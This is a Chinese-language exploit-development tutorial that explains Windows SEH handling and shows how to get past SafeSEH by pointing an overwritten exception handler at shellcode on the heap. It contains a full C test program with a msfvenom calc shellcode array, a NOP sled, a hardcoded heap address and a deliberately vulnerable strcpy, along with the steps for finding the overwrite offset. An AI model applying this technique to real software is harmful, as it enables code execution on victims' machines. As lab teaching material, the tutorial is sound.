內存保護機制及繞過方案——從堆中繞過safeSEH
1.1 SafeSEH內存保護機制
1.1.1 Windows異常處理機制
Windows中主要兩種異常處理機制,Windows異常處理(VEH、SEH)和C++異常處理。Windows異常處理結構未公開的,包含向量化結構異常VEH及結構化異常處理SEH。由操作系統提供的服務,當一個線程出現錯誤時,操作系統調用用戶定義的一個回調函數_exept_handler。回調函數接收到操作系統傳遞過來的許多有價值的信息,例如異常的類型和發生的地址。使用這些信息,異常回調函數就能決定下一步做什麽。
C++異常處理是C++語言的特性,在Windows平臺上由系統提供支持。
Windows異常處理順序流程
l 終止當前程序的執行
l 調試器(進程必須被調試,向調試器發送EXCEPTION_DEBUG_EVENT消息)
l 執行VEH
l 執行SEH
l TopLevelEH(進程被調試時不會被執行)
l 執行VEH
l 交給調試器(上面的異常處理都說處理不了,就再次交給調試器)
l 調用異常端口通知csrss.exe
1.1.2 SafeSEH工作原理
異常處理鏈(SEH)結構在通過SHE鏈繞過/GS中已經介紹過了,這裏接直接說safeSEH了,
i. SafeSEH工作流程:
ii. RtlIsVaildHandler() 函數校驗流程:
1.1.3 SafeSEH繞過思路
那麽有3種情況,系統可以允許異常處理函數執行:
1、異常處理函數位於加載模塊內存範圍之外,DEP關閉
2、異常處理函數位於加載模塊內存範圍之內,相應模塊未啟用SafeSEH(SafeSEH表為空),不是純IL(ILonly標識,若有這個標誌說明該程序只包含.NET編譯人中間語言)。
3、異常處理函數位於加載模塊內存範圍之內,相應模塊啟用SafeSEH,異常處理函數地址包含在SafeSEH表中。
可以看到,我們突破SafeSEH的方法分為3種
1、排除DEP幹擾,在加載模塊內存範圍外找一個跳板指令就可以轉入shellcode執行
2、利用未啟用SafeSEH模塊中的指令作為跳板,轉入shellcode執行
3、針對情況3,可以有兩種思路,一種是清空safeSEH表,造成該模塊為啟用safeSEH的假象,二是將我們的指令註入到safeSEH表,但是safeSEH在內存中是加密存放的,突破的難度很大。
額外的思路(更簡單的思路)?
1、 覆蓋返回地址或者虛表(但是,限制條件很大,如果函數啟用了/GS保護機制,且沒有虛函數,那麽,這種方法就不能使用了)。
2、 利用safeSEH的缺陷——若SHE中的異常處理函數指針指向堆區,那麽即使安全校驗發現SEH已經不可信,仍會釣魚其已經修改過的異常處理函數,因此只要將shellcode布置到堆區就可以繞過safeSEH保護機制了。
1.1.4 從堆中繞過safeSEH
⑴. 原理分析:
利用safeSEH的缺陷——若SHE中的異常處理函數指針指向堆區,那麽即使安全校驗發現SEH已經不可信,仍會釣魚其已經修改過的異常處理函數,因此只要將shellcode布置到堆區就可以繞過safeSEH保護機制了。
⑵.環境準備:
i.測試代碼如下:
#include <stdafx.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\xbe\xe8\x88\x3c\xfd\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x30\x31\x72\x13\x03\x72\x13\x83\xea\x14\x6a\xc9\x01\x0c\xe9"
"\x32\xfa\xcc\x8e\xbb\x1f\xfd\x8e\xd8\x54\xad\x3e\xaa\x39\x41"
"\xb4\xfe\xa9\xd2\xb8\xd6\xde\x53\x76\x01\xd0\x64\x2b\x71\x73"
"\xe6\x36\xa6\x53\xd7\xf8\xbb\x92\x10\xe4\x36\xc6\xc9\x62\xe4"
"\xf7\x7e\x3e\x35\x73\xcc\xae\x3d\x60\x84\xd1\x6c\x37\x9f\x8b"
"\xae\xb9\x4c\xa0\xe6\xa1\x91\x8d\xb1\x5a\x61\x79\x40\x8b\xb8"
"\x82\xef\xf2\x75\x71\xf1\x33\xb1\x6a\x84\x4d\xc2\x17\x9f\x89"
"\xb9\xc3\x2a\x0a\x19\x87\x8d\xf6\x98\x44\x4b\x7c\x96\x21\x1f"
"\xda\xba\xb4\xcc\x50\xc6\x3d\xf3\xb6\x4f\x05\xd0\x12\x14\xdd"
"\x79\x02\xf0\xb0\x86\x54\x5b\x6c\x23\x1e\x71\x79\x5e\x7d\x1f"
"\x7c\xec\xfb\x6d\x7e\xee\x03\xc1\x17\xdf\x88\x8e\x60\xe0\x5a"
"\xeb\x9f\xaa\xc7\x5d\x08\x73\x92\xdc\x55\x84\x48\x22\x60\x07"
"\x79\xda\x97\x17\x08\xdf\xdc\x9f\xe0\xad\x4d\x4a\x07\x02\x6d"
"\x5f\x64\xc5\xfd\x03\x6b"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x38\x2C\x56\x00"//address of shellcode in heap
;
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
zero=1/zero;
}
void main(){
char * buf=(char *)malloc(500);
//__asm int 3
strcpy(buf,shellcode);
test(shellcode);
}
將shellcode復制到堆區,在溢出後,用shellcode在堆區的地址溢出到異常處理函數,在test函數中引發除零異常。異常處理函數接管程序,即,shellcode在此時接管程序。
ii.編譯屬性設置:
關閉DEP,ASLR保護機制,/GS保護機制沒有影響。
iii.測試系統和編譯器:
測試系統:Windows 7 32位
編譯器: Visual studio 2008
⑶.調試分析:
在main函數中,堆指針為[ebp-0x4],shellcode的指針為[ebp-0x8],而ebp = 0x0012ff44。
所以堆指針的地址 = 0x0012ff40,shellcode的指針 = 0x0012ff3c。
查看堆棧:
看到shellcode地址 = 0x00403018,堆的起始地址 = 0x005812e8
執行到test函數:
Shellcode參數入棧,0x0012ff2c。
Eip:0x0012ff28,ebp:0x0012ff24,cookie^ebp:0x0012ff1c,並通過對strcpy函數的分析發現,0x0012ff54是緩沖區開始的地址。
⑷.攻擊過程:
i.確定shellcode大小:
攻擊思路是:將異常處理函數的指針換成在堆中的shellcode的指針,那麽要確定shellcode的大小就要知道異常處理函數的指針在棧中的地址和緩沖區開始的地址,從緩沖區開始,已知覆蓋到異常處理函數的指針。
查看SEH鏈:
SEH鏈指針在0x0012FF78,那麽異常處理函數指針位於0x0012ff7c,又由(3)知緩沖區的起始地址是0x0012fe54。
所以緩沖區大小 = 0x0012ff78 – 0x0012fe54 + 0x4(指針大小) = 300(字節)。
ii.生成惡意代碼(彈出計算器):
這裏的惡意代碼可以用msfconsole生成:
msfvenom -p windows/exec cmd=calc -b ‘\x00‘ -f c
生成長度為216字節的惡意代碼。
iii.設計shellcode:
由i的分析可知,shellcode的結構應如下所示:
iv.實施攻擊:
程序運行到test函數中的strcpy函數運行結束,
可以看到異常處理函數的指針已經被換成了我們的分配的堆的起始地址,
分配的堆中也已經復制到了shellcode。
接著運行程序,應該就能直接彈出計算器來吧?
???失敗?
為什麽?
因為,堆在內存中是動態分配的,每次運行,系統分配的堆地址都是不同的,所以,應當在程序運行到分配堆之後,將shellcode中的堆地址,改成此次運行系統所分配的堆的地址,如下圖所示:
之後運行程序:
成功彈框。
內存保護機制及繞過方案——從堆中繞過safeSEH